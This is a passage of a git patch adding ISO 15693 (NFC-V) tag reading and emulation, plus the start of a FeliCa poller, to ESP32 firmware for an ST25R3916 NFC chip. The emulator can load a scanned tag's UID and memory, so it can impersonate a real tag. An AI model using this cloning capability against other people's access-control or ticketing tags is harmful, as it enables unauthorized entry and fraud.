tag.block_size = 4; + tag.block_count = 16; + } + + uint8_t blk[ISO15693_MAX_BLOCK_SIZE]; + for (uint16_t b = 0; b < tag.block_count; b++) { + size_t got = 0; + err = iso15693_read_single_block(&tag, (uint8_t)b, blk, sizeof(blk), &got); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "READ block %u failed", (unsigned)b); + break; + } + uint8_t b0 = (got > 0) ? blk[0] : 0; + uint8_t b1 = (got > 1) ? blk[1] : 0; + uint8_t b2 = (got > 2) ? blk[2] : 0; + uint8_t b3 = (got > 3) ? blk[3] : 0; + uint8_t b4 = (got > 4) ? blk[4] : 0; + uint8_t b5 = (got > 5) ? blk[5] : 0; + uint8_t b6 = (got > 6) ? blk[6] : 0; + uint8_t b7 = (got > 7) ? blk[7] : 0; + ESP_LOGI(TAG, "BLK %03u: %02X %02X %02X %02X %02X %02X %02X %02X", + (unsigned)b, b0, b1, b2, b3, b4, b5, b6, b7); + } +} + +uint16_t iso15693_crc16(const uint8_t* data, size_t len) +{ + uint16_t crc = 0xFFFFU; + for (size_t i = 0; i < len; i++) { + crc ^= data[i]; + for (int b = 0; b < 8; b++) { + if (crc & 0x0001U) crc = (crc >> 1) ^ 0x8408U; + else crc >>= 1; + } + } + return (uint16_t)~crc; +} + +bool iso15693_check_crc(const uint8_t* data, size_t len) +{ + if (!data || len < 2) return false; + uint16_t calc = iso15693_crc16(data, len - 2); + uint16_t rx = (uint16_t)data[len - 2] | ((uint16_t)data[len - 1] << 8); + return (calc == rx); +} diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c new file mode 100644 index 00000000..4e687743 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c @@ -0,0 +1,713 @@ +/** + * @file iso15693_emu.c + * @brief ISO 15693 (NFC-V) tag emulation for ST25R3916. + * + * Architecture is a direct port of t2t_emu.c with the following differences: + * + * 1. MODE register: 0xB0 instead of 0x88 (0x80=target | 0x30=NFC-V) + * + * 2. No hardware anti-collision for NFC-V. + * In NFC-A the chip replies to REQA/ATQA automatically via PT Memory. + * In NFC-V there is no equivalent: the chip receives the full INVENTORY + * frame and fires RXE; we must build and transmit the response ourselves. + * + * 3. Command framing: + * Every request: [flags][cmd][uid if addressed][params][CRC] + * Every response: [resp_flags][data][CRC] (no parity bits) + * + * 4. CRC-16 (poly=0x8408, init=0xFFFF, ~result) appended to every TX. + * CMD_TX_WITH_CRC in NFC-V mode handles this automatically. + * + * 5. SLEEP/SENSE/ACTIVE state machine is identical to T2T. + * + * ───────────────────────────────────────────────────────────────────────────── + * CRITICAL REGISTER DIFFERENCES vs NFC-A target: + * + * REG_MODE = 0xB0 (target=1, om=0110 = ISO 15693) + * REG_BIT_RATE = 0x00 (26.48 kbps) + * REG_ISO14443B_FELICA = 0x00 (single subcarrier) + * REG_PASSIVE_TARGET: not used for NFC-V + * REG_AUX_DEF : not used for NFC-V (no UID size config needed) + * PT Memory : not applicable (NFC-V has no hardware anticol memory) + * + * ───────────────────────────────────────────────────────────────────────────── + * Field-detector wake-up (same as T2T): + * + * OP_CTRL = 0xC3 (EN + RX_EN + en_fd_c=11) + * CMD_GOTO_SLEEP → monitor efd / IRQ_TGT_WU_A + * CMD_GOTO_SENSE → wait for RXE (INVENTORY or any command) + */ +#include "iso15693_emu.h" + +#include +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "st25r3916_cmd.h" +#include "st25r3916_fifo.h" +#include "st25r3916_irq.h" +#include "hb_nfc_spi.h" + +static const char* TAG = "iso15693_emu"; + +/* ─── Constants ─────────────────────────────────────────────────────────────── */ +#define MODE_TARGET_NFCV 0xB0U /**< target=1, om=NFC-V */ +#define OP_CTRL_TARGET 0xC3U /**< EN + RX_EN + en_fd_c=11 */ +#define TIMER_I_EON 0x10U /**< external field detected */ +#define ACTIVE_IDLE_TIMEOUT 2000U /**< ~4s if run_step every 2ms */ +#define RESP_FLAGS_OK 0x00U /**< no error */ +#define RESP_FLAGS_ERR 0x01U /**< error flag set */ + +/* ─── State machine ─────────────────────────────────────────────────────────── */ +typedef enum { + ISO15693_STATE_SLEEP, /**< low power, field detector on */ + ISO15693_STATE_SENSE, /**< ready to receive first command */ + ISO15693_STATE_ACTIVE, /**< tag selected / responding */ +} iso15693_emu_state_t; + +/* ─── Module state ──────────────────────────────────────────────────────────── */ +static iso15693_emu_card_t s_card; +static iso15693_emu_state_t s_state = ISO15693_STATE_SLEEP; +static bool s_quiet = false; /**< STAY_QUIET received */ +static bool s_init_done = false; +static uint32_t s_sense_idle = 0; /**< iterations in SENSE without RX */ +static uint32_t s_active_idle = 0; /**< iterations in ACTIVE without RX */ +static bool s_block_locked[ISO15693_EMU_MAX_BLOCKS]; +static bool s_afi_locked = false; +static bool s_dsfid_locked = false; + +/* ─── Helpers ────────────────────────────────────────────────────────────────── */ + +static bool wait_oscillator(int timeout_ms) +{ + for (int i = 0; i < timeout_ms; i++) { + uint8_t aux = 0, mi = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_MAIN_INT, &mi); + if ((aux & 0x04U) || (mi & 0x80U)) { + ESP_LOGI(TAG, "Osc OK in %dms", i); + return true; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + ESP_LOGW(TAG, "Osc timeout — continuing"); + return false; +} + +/** Append CRC-16 and transmit with CMD_TX_WITH_CRC. + * The chip appends CRC automatically in NFC-V mode. */ +static void tx_response(const uint8_t* data, int len) +{ + if (!data || len <= 0) return; + st25r_fifo_clear(); + st25r_set_tx_bytes((uint16_t)len, 0); + st25r_fifo_load(data, (size_t)len); + hb_spi_direct_cmd(CMD_TX_WITH_CRC); +} + +static void tx_error(uint8_t err_code) +{ + uint8_t resp[2] = { RESP_FLAGS_ERR, err_code }; + tx_response(resp, 2); +} + +/** Read FIFO into buf, return byte count. */ +static int fifo_rx(uint8_t* buf, size_t max) +{ + uint8_t fs1 = 0; + hb_spi_reg_read(REG_FIFO_STATUS1, &fs1); + int n = (int)(fs1 & 0x7FU); + if (n <= 0) return 0; + if ((size_t)n > max) n = (int)max; + st25r_fifo_read(buf, (size_t)n); + return n; +} + +/** Return true if the request is addressed to us (UID matches). */ +static bool uid_matches(const uint8_t* frame, int len, int uid_offset) +{ + if (len < uid_offset + (int)ISO15693_UID_LEN) return false; + return (memcmp(&frame[uid_offset], s_card.uid, ISO15693_UID_LEN) == 0); +} + +/** Return true if command targets us: either broadcast or our UID. */ +static bool is_for_us(const uint8_t* frame, int len) +{ + if (len < 2) return false; + uint8_t flags = frame[0]; + if (flags & ISO15693_FLAG_SELECT) { + /* SELECT flag: only respond if we are in selected state */ + return (s_state == ISO15693_STATE_ACTIVE); + } + if (flags & ISO15693_FLAG_ADDRESS) { + /* ADDRESSED mode: UID follows cmd byte (offset 2) */ + return uid_matches(frame, len, 2); + } + /* BROADCAST mode: always for us */ + return true; +} + +/* ─── Command handlers ───────────────────────────────────────────────────────── */ + +static void handle_inventory(const uint8_t* frame, int len) +{ + (void)len; + if (s_quiet) return; /* STAY_QUIET: do not respond to INVENTORY */ + + /* + * Response: [RESP_FLAGS_OK][DSFID][UID×8] + * No CRC appended here — CMD_TX_WITH_CRC handles it. + */ + uint8_t resp[10]; + resp[0] = RESP_FLAGS_OK; + resp[1] = s_card.dsfid; + memcpy(&resp[2], s_card.uid, ISO15693_UID_LEN); + + ESP_LOGI(TAG, "INVENTORY → replying with UID"); + tx_response(resp, sizeof(resp)); + + s_state = ISO15693_STATE_ACTIVE; + s_quiet = false; +} + +static void handle_get_system_info(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + /* + * Response: + * [RESP_FLAGS_OK][info_flags] + * [UID×8] + * [DSFID] ← if info_flags bit0 + * [AFI] ← if info_flags bit1 + * [blk_cnt-1][blk_sz-1] ← if info_flags bit2 + * [IC_ref] ← if info_flags bit3 + */ + uint8_t resp[32]; + int pos = 0; + + resp[pos++] = RESP_FLAGS_OK; + resp[pos++] = 0x0FU; /* all 4 info fields present */ + memcpy(&resp[pos], s_card.uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + resp[pos++] = s_card.dsfid; + resp[pos++] = s_card.afi; + resp[pos++] = (uint8_t)(s_card.block_count - 1U); /* n-1 encoding */ + resp[pos++] = (uint8_t)((s_card.block_size - 1U) & 0x1FU); + resp[pos++] = s_card.ic_ref; + + ESP_LOGI(TAG, "GET_SYSTEM_INFO → blocks=%u size=%u", + s_card.block_count, s_card.block_size); + tx_response(resp, pos); +} + +static void handle_read_single_block(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + /* block number is after [flags][cmd][uid×8] = byte 10 */ + int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < blk_offset + 1) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + + uint8_t block = frame[blk_offset]; + if (block >= s_card.block_count) { + tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); + return; + } + + const uint8_t* bdata = &s_card.mem[block * s_card.block_size]; + + uint8_t resp[1 + ISO15693_MAX_BLOCK_SIZE]; + resp[0] = RESP_FLAGS_OK; + memcpy(&resp[1], bdata, s_card.block_size); + + ESP_LOGI(TAG, "READ_SINGLE_BLOCK[%u]", block); + tx_response(resp, 1 + (int)s_card.block_size); +} + +static void handle_write_single_block(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + int data_offset = blk_offset + 1; + + if (len < data_offset + (int)s_card.block_size) { + tx_error(ISO15693_ERR_NOT_RECOGNIZED); + return; + } + + uint8_t block = frame[blk_offset]; + if (block >= s_card.block_count) { + tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); + return; + } + if (s_block_locked[block]) { + tx_error(ISO15693_ERR_BLOCK_LOCKED); + return; + } + + memcpy(&s_card.mem[block * s_card.block_size], + &frame[data_offset], s_card.block_size); + + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "WRITE_SINGLE_BLOCK[%u]", block); + tx_response(resp, 1); +} + +static void handle_read_multiple_blocks(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < blk_offset + 2) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + + uint8_t first = frame[blk_offset]; + uint8_t count = (uint8_t)(frame[blk_offset + 1] + 1U); /* n-1 → n */ + + if ((unsigned)(first + count) > s_card.block_count) { + tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); + return; + } + + static uint8_t resp[1 + ISO15693_EMU_MEM_SIZE]; + resp[0] = RESP_FLAGS_OK; + size_t total = (size_t)count * s_card.block_size; + memcpy(&resp[1], &s_card.mem[first * s_card.block_size], total); + + ESP_LOGI(TAG, "READ_MULTIPLE_BLOCKS[%u+%u]", first, count); + tx_response(resp, (int)(1U + total)); +} + +static void handle_lock_block(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < blk_offset + 1) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + + uint8_t block = frame[blk_offset]; + if (block >= s_card.block_count) { + tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); + return; + } + + s_block_locked[block] = true; + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "LOCK_BLOCK[%u]", block); + tx_response(resp, 1); +} + +static void handle_write_afi(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + int off = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < off + 1) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + if (s_afi_locked) { tx_error(ISO15693_ERR_LOCK_FAILED); return; } + s_card.afi = frame[off]; + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "WRITE_AFI=0x%02X", s_card.afi); + tx_response(resp, 1); +} + +static void handle_lock_afi(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + s_afi_locked = true; + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "LOCK_AFI"); + tx_response(resp, 1); +} + +static void handle_write_dsfid(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + int off = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < off + 1) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + if (s_dsfid_locked) { tx_error(ISO15693_ERR_LOCK_FAILED); return; } + s_card.dsfid = frame[off]; + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "WRITE_DSFID=0x%02X", s_card.dsfid); + tx_response(resp, 1); +} + +static void handle_lock_dsfid(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + s_dsfid_locked = true; + uint8_t resp[1] = { RESP_FLAGS_OK }; + ESP_LOGI(TAG, "LOCK_DSFID"); + tx_response(resp, 1); +} + +static void handle_get_multi_block_sec(const uint8_t* frame, int len) +{ + if (!is_for_us(frame, len)) return; + + int blk_offset = (frame[0] & ISO15693_FLAG_ADDRESS) ? 10 : 2; + if (len < blk_offset + 2) { tx_error(ISO15693_ERR_NOT_RECOGNIZED); return; } + + uint8_t first = frame[blk_offset]; + uint8_t count = (uint8_t)(frame[blk_offset + 1] + 1U); + if ((unsigned)(first + count) > s_card.block_count) { + tx_error(ISO15693_ERR_BLOCK_UNAVAILABLE); + return; + } + + uint8_t resp[1 + ISO15693_EMU_MAX_BLOCKS]; + resp[0] = RESP_FLAGS_OK; + for (uint8_t i = 0; i < count; i++) { + uint8_t block = (uint8_t)(first + i); + resp[1 + i] = s_block_locked[block] ? 0x01U : 0x00U; + } + ESP_LOGI(TAG, "GET_MULTI_BLOCK_SEC[%u+%u]", first, count); + tx_response(resp, 1 + count); +} + +static void handle_stay_quiet(const uint8_t* frame, int len) +{ + if (!uid_matches(frame, len, 2)) return; + ESP_LOGI(TAG, "STAY_QUIET → silent until power cycle"); + s_quiet = true; + s_state = ISO15693_STATE_SLEEP; + hb_spi_direct_cmd(CMD_GOTO_SLEEP); +} + +/* ─── Public: card setup ────────────────────────────────────────────────────── */ + +void iso15693_emu_card_from_tag(iso15693_emu_card_t* card, + const iso15693_tag_t* tag, + const uint8_t* raw_mem) +{ + if (!card || !tag) return; + memset(card, 0, sizeof(*card)); + memcpy(card->uid, tag->uid, ISO15693_UID_LEN); + card->dsfid = tag->dsfid; + card->afi = tag->afi; + card->ic_ref = tag->ic_ref; + card->block_count = tag->block_count; + card->block_size = tag->block_size; + if (raw_mem) { + size_t mem_bytes = (size_t)tag->block_count * tag->block_size; + if (mem_bytes > ISO15693_EMU_MEM_SIZE) mem_bytes = ISO15693_EMU_MEM_SIZE; + memcpy(card->mem, raw_mem, mem_bytes); + } +} + +void iso15693_emu_card_default(iso15693_emu_card_t* card, + const uint8_t uid[ISO15693_UID_LEN]) +{ + if (!card) return; + memset(card, 0, sizeof(*card)); + memcpy(card->uid, uid, ISO15693_UID_LEN); + card->dsfid = 0x00U; + card->afi = 0x00U; + card->ic_ref = 0x01U; + card->block_count = 8; + card->block_size = 4; + /* Leave mem zeroed */ + ESP_LOGI(TAG, "Default card: 8 blocks × 4 bytes"); +} + +hb_nfc_err_t iso15693_emu_init(const iso15693_emu_card_t* card) +{ + if (!card) return HB_NFC_ERR_PARAM; + if (card->block_count > ISO15693_EMU_MAX_BLOCKS || + card->block_size > ISO15693_EMU_MAX_BLOCK_SIZE || + card->block_count == 0 || card->block_size == 0) { + ESP_LOGE(TAG, "Invalid card params: blocks=%u size=%u", + card->block_count, card->block_size); + return HB_NFC_ERR_PARAM; + } + + memcpy(&s_card, card, sizeof(s_card)); + s_state = ISO15693_STATE_SLEEP; + s_quiet = false; + s_init_done = true; + memset(s_block_locked, 0, sizeof(s_block_locked)); + s_afi_locked = false; + s_dsfid_locked = false; + + char uid_str[20]; + snprintf(uid_str, sizeof(uid_str), + "%02X%02X%02X%02X%02X%02X%02X%02X", + card->uid[7], card->uid[6], card->uid[5], card->uid[4], + card->uid[3], card->uid[2], card->uid[1], card->uid[0]); + ESP_LOGI(TAG, "Init: UID=%s blocks=%u block_size=%u", + uid_str, card->block_count, card->block_size); + return HB_NFC_OK; +} + +/* ─── Public: target configure ──────────────────────────────────────────────── */ + +hb_nfc_err_t iso15693_emu_configure_target(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + ESP_LOGI(TAG, "Configure NFC-V target"); + + /* 1. Reset chip */ + hb_spi_reg_write(REG_OP_CTRL, 0x00U); + vTaskDelay(pdMS_TO_TICKS(5)); + hb_spi_direct_cmd(CMD_SET_DEFAULT); + vTaskDelay(pdMS_TO_TICKS(10)); + + /* Verify chip alive */ + uint8_t ic = 0; + hb_spi_reg_read(REG_IC_IDENTITY, &ic); + if (ic == 0x00U || ic == 0xFFU) { + ESP_LOGE(TAG, "Chip not responding: IC=0x%02X", ic); + return HB_NFC_ERR_INTERNAL; + } + + /* 2. Oscillator */ + hb_spi_reg_write(REG_IO_CONF2, 0x80U); + vTaskDelay(pdMS_TO_TICKS(2)); + hb_spi_reg_write(REG_OP_CTRL, 0x80U); + wait_oscillator(200); + + /* 3. Regulators */ + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + vTaskDelay(pdMS_TO_TICKS(10)); + + /* 4. Core registers + * + * REG_MODE = 0xB0: target=1, om=0110 (ISO 15693) + * REG_BIT_RATE = 0x00: 26.48 kbps + * REG_ISO14443B_FELICA = 0x00: single subcarrier, default + * REG_PASSIVE_TARGET = 0x00: not used for NFC-V + */ + hb_spi_reg_write(REG_MODE, MODE_TARGET_NFCV); + hb_spi_reg_write(REG_BIT_RATE, 0x00U); + hb_spi_reg_write(REG_ISO14443B_FELICA, 0x00U); + hb_spi_reg_write(REG_PASSIVE_TARGET, 0x00U); + + /* 5. Field thresholds (same values that work for T2T) */ + hb_spi_reg_write(REG_FIELD_THRESH_ACT, 0x00U); + hb_spi_reg_write(REG_FIELD_THRESH_DEACT, 0x00U); + + /* 6. Modulation (resistive AM, same as T2T) */ + hb_spi_reg_write(REG_PT_MOD, 0x60U); + + /* 7. Unmask all IRQs */ + st25r_irq_read(); + hb_spi_reg_write(REG_MASK_MAIN_INT, 0x00U); + hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0x00U); + hb_spi_reg_write(REG_MASK_ERROR_WUP_INT, 0x00U); + hb_spi_reg_write(REG_MASK_TARGET_INT, 0x00U); + + /* 8. Verify */ + uint8_t mode_rb = 0; + hb_spi_reg_read(REG_MODE, &mode_rb); + if (mode_rb != MODE_TARGET_NFCV) { + ESP_LOGE(TAG, "MODE readback: 0x%02X (expected 0x%02X)", mode_rb, MODE_TARGET_NFCV); + return HB_NFC_ERR_INTERNAL; + } + + ESP_LOGI(TAG, "NFC-V target configured (MODE=0x%02X)", mode_rb); + return HB_NFC_OK; +} + +/* ─── Public: start / stop ───────────────────────────────────────────────────── */ + +hb_nfc_err_t iso15693_emu_start(void) +{ + if (!s_init_done) return HB_NFC_ERR_INTERNAL; + + st25r_irq_read(); + s_quiet = false; + + hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_TARGET); + vTaskDelay(pdMS_TO_TICKS(5)); + + /* Enter SLEEP: field detector (en_fd_c=11) wakes us on external field */ + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + vTaskDelay(pdMS_TO_TICKS(2)); + + s_state = ISO15693_STATE_SLEEP; + + uint8_t op = 0, aux = 0, pts = 0; + hb_spi_reg_read(REG_OP_CTRL, &op); + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + ESP_LOGI(TAG, "Start (SLEEP): OP=0x%02X AUX=0x%02X PT_STS=0x%02X", + op, aux, pts); + ESP_LOGI(TAG, "ISO 15693 emulation active — present the reader!"); + return HB_NFC_OK; +} + +void iso15693_emu_stop(void) +{ + hb_spi_reg_write(REG_OP_CTRL, 0x00U); + s_state = ISO15693_STATE_SLEEP; + s_init_done = false; + ESP_LOGI(TAG, "ISO 15693 emulation stopped"); +} + +uint8_t* iso15693_emu_get_mem(void) { return s_card.mem; } + +/* ─── Public: run step (state machine) ──────────────────────────────────────── */ + +void iso15693_emu_run_step(void) +{ + uint8_t tgt_irq = 0; + uint8_t main_irq = 0; + uint8_t timer_irq = 0; + + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + + uint8_t pts = 0; + hb_spi_reg_read(REG_PASSIVE_TARGET_STS, &pts); + uint8_t pta = pts & 0x0FU; + + /* ── SLEEP ──────────────────────────────────────────────────────────────── */ + if (s_state == ISO15693_STATE_SLEEP) { + /* + * Wake-up conditions: + * - I_eon (external field detected) + * - WU_A IRQ (legacy wake from field detector) + * - WU_F IRQ (can fire on some ST25R3916 revisions) + */ + bool wake = (timer_irq & TIMER_I_EON) + || (tgt_irq & IRQ_TGT_WU_A) + || (tgt_irq & IRQ_TGT_WU_F); + if (wake) { + s_sense_idle = 0; + s_active_idle = 0; + ESP_LOGI(TAG, "SLEEP → SENSE (pta=%u tgt=0x%02X)", pta, tgt_irq); + s_state = ISO15693_STATE_SENSE; + hb_spi_direct_cmd(CMD_GOTO_SENSE); + /* Re-read IRQs after state change */ + hb_spi_reg_read(REG_TARGET_INT, &tgt_irq); + hb_spi_reg_read(REG_MAIN_INT, &main_irq); + hb_spi_reg_read(REG_TIMER_NFC_INT, &timer_irq); + if (!(main_irq & IRQ_MAIN_RXE)) return; + } else { + return; + } + } + + /* ── SENSE ──────────────────────────────────────────────────────────────── */ + if (s_state == ISO15693_STATE_SENSE) { + /* + * DO NOT check timer_irq & 0x08 (i_eof) here. + * + * ISO 15693 uses 100% ASK modulation: the reader briefly drops the + * field to zero for every bit. The chip fires i_eof on each of those + * pulses, which looks identical to a real field-loss event. Checking + * it in SENSE causes an immediate SLEEP before receiving INVENTORY. + * + * Stay in SENSE until: + * a) RXE fires → INVENTORY received, go ACTIVE + * b) s_sense_idle > 250 (~500 ms) → real field loss, back to SLEEP + */ + if (main_irq & IRQ_MAIN_RXE) { + s_sense_idle = 0; + s_state = ISO15693_STATE_ACTIVE; + /* Fall through to ACTIVE handling below */ + } else { + if (++s_sense_idle > 250U) { + ESP_LOGI(TAG, "SENSE: timeout (no RX in 500ms) → SLEEP"); + s_sense_idle = 0; + s_state = ISO15693_STATE_SLEEP; + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + } + return; + } + } + + /* ── ACTIVE ──────────────────────────────────────────────────────────────── */ + if (!(main_irq & IRQ_MAIN_RXE)) { + if (++s_active_idle >= ACTIVE_IDLE_TIMEOUT) { + ESP_LOGI(TAG, "ACTIVE: idle timeout -> SLEEP"); + s_active_idle = 0; + s_state = ISO15693_STATE_SLEEP; + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + return; + } + if ((s_active_idle % 500U) == 0U) { + uint8_t aux = 0; + hb_spi_reg_read(REG_AUX_DISPLAY, &aux); + ESP_LOGD(TAG, "[ACTIVE] AUX=0x%02X pta=%u", aux, pta); + } + return; + } + s_active_idle = 0; + + /* ── Read FIFO ──────────────────────────────────────────────────────────── */ + uint8_t buf[64] = { 0 }; + int len = fifo_rx(buf, sizeof(buf)); + if (len < 2) return; + + ESP_LOGI(TAG, "CMD: 0x%02X flags=0x%02X len=%d", buf[1], buf[0], len); + + /* + * Frame: [flags][cmd_code][...] + * buf[0] = request flags + * buf[1] = command code + */ + uint8_t cmd_code = buf[1]; + + switch (cmd_code) { + case ISO15693_CMD_INVENTORY: + handle_inventory(buf, len); + break; + + case ISO15693_CMD_STAY_QUIET: + handle_stay_quiet(buf, len); + break; + + case ISO15693_CMD_GET_SYSTEM_INFO: + handle_get_system_info(buf, len); + break; + + case ISO15693_CMD_READ_SINGLE_BLOCK: + handle_read_single_block(buf, len); + break; + + case ISO15693_CMD_WRITE_SINGLE_BLOCK: + handle_write_single_block(buf, len); + break; + + case ISO15693_CMD_READ_MULTIPLE_BLOCKS: + handle_read_multiple_blocks(buf, len); + break; + + case ISO15693_CMD_LOCK_BLOCK: + handle_lock_block(buf, len); + break; + + case ISO15693_CMD_WRITE_AFI: + handle_write_afi(buf, len); + break; + + case ISO15693_CMD_LOCK_AFI: + handle_lock_afi(buf, len); + break; + + case ISO15693_CMD_WRITE_DSFID: + handle_write_dsfid(buf, len); + break; + + case ISO15693_CMD_LOCK_DSFID: + handle_lock_dsfid(buf, len); + break; + + case ISO15693_CMD_GET_MULTI_BLOCK_SEC: + handle_get_multi_block_sec(buf, len); + break; + + default: + ESP_LOGW(TAG, "Unsupported cmd 0x%02X", cmd_code); + if (is_for_us(buf, len)) { + tx_error(ISO15693_ERR_NOT_SUPPORTED); + } + break; + } +} From 35f1a1b61d562befc33ae22cee77e4fe6821b418 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:12:02 -0300 Subject: [PATCH 33/61] feat(nfc): add FeliCa (NFC-F) protocol and card emulation --- .../nfc/protocols/felica/felica.c | 315 +++++++++++++ .../nfc/protocols/felica/felica_emu.c | 423 ++++++++++++++++++ .../nfc/protocols/felica/include/felica.h | 117 +++++ .../nfc/protocols/felica/include/felica_emu.h | 76 ++++ 4 files changed, 931 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/felica/felica.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/felica/felica_emu.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/felica/include/felica.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/felica/include/felica_emu.h diff --git a/firmware_p4/components/Applications/nfc/protocols/felica/felica.c b/firmware_p4/components/Applications/nfc/protocols/felica/felica.c new file mode 100644 index 00000000..09d87efb --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/felica/felica.c @@ -0,0 +1,315 @@ +/** + * @file felica.c + * @brief FeliCa (NFC-F) reader/writer for ST25R3916. + * + * Transport: nfc_poller_transceive() — same as every other protocol. + * + * Frame format (all commands): + * [LEN][CMD][payload][CRC-F] + * LEN includes itself (LEN=1+1+payload+2) + * + * CRC-F: CRC-16/CCITT (poly=0x1021, init=0x0000) — chip appends automatically + * with CMD_TX_WITH_CRC in NFC-F mode. + */ +#include "felica.h" + +#include +#include +#include "esp_log.h" + +#include "nfc_poller.h" +#include "nfc_common.h" +#include "st25r3916_reg.h" +#include "hb_nfc_spi.h" +#include "nfc_rf.h" + +#define TAG "felica" + +/* ─── Poller init ─────────────────────────────────────────────────────────── */ + +hb_nfc_err_t felica_poller_init(void) +{ + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_F, + .tx_rate = NFC_RF_BR_212, + .rx_rate = NFC_RF_BR_212, + .am_mod_percent = 10, /* FeliCa uses ASK */ + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + + ESP_LOGI(TAG, "FeliCa poller ready (NFC-F 212 kbps)"); + return HB_NFC_OK; +} + +/* ─── SENSF_REQ ───────────────────────────────────────────────────────────── */ + +hb_nfc_err_t felica_sensf_req(uint16_t system_code, felica_tag_t* tag) +{ + return felica_sensf_req_slots(system_code, 0, tag); +} + +hb_nfc_err_t felica_sensf_req_slots(uint16_t system_code, uint8_t time_slots, felica_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + memset(tag, 0, sizeof(*tag)); + + /* + * SENSF_REQ (6 bytes before CRC): + * [06][04][TSN=00][RCF=01 (return SC)][SC_H][SC_L][time_slots=00] + * + * Simplified: no time slot, request system code in response. + */ + uint8_t cmd[7]; + cmd[0] = 0x07U; /* LEN (incl. itself, excl. CRC) */ + cmd[1] = FELICA_CMD_SENSF_REQ; /* 0x04 */ + cmd[2] = 0x00U; /* TSN (Time Slot Number request) */ + cmd[3] = FELICA_RCF_SYSTEM_CODE; /* include SC in response */ + cmd[4] = (uint8_t)((system_code >> 8) & 0xFFU); + cmd[5] = (uint8_t)(system_code & 0xFFU); + cmd[6] = (uint8_t)(time_slots & 0x0FU); /* number of slots */ + + uint8_t rx[32] = { 0 }; + int len = nfc_poller_transceive(cmd, sizeof(cmd), /*with_crc=*/true, + rx, sizeof(rx), /*rx_min=*/1, /*timeout_ms=*/20); + if (len < 17) { + if (len > 0) nfc_log_hex("SENSF partial:", rx, (size_t)len); + return HB_NFC_ERR_NO_CARD; + } + + nfc_log_hex("SENSF_RES:", rx, (size_t)len); + + /* SENSF_RES: [LEN][0x05][IDm×8][PMm×8][RD×2 optional] */ + if (rx[1] != FELICA_CMD_SENSF_RES) { + ESP_LOGW(TAG, "Unexpected response code 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + + memcpy(tag->idm, &rx[2], FELICA_IDM_LEN); + memcpy(tag->pmm, &rx[10], FELICA_PMM_LEN); + if (len >= 20) { + tag->rd[0] = rx[18]; + tag->rd[1] = rx[19]; + tag->rd_valid = true; + } + + char idm_str[24]; + snprintf(idm_str, sizeof(idm_str), + "%02X%02X%02X%02X%02X%02X%02X%02X", + tag->idm[0], 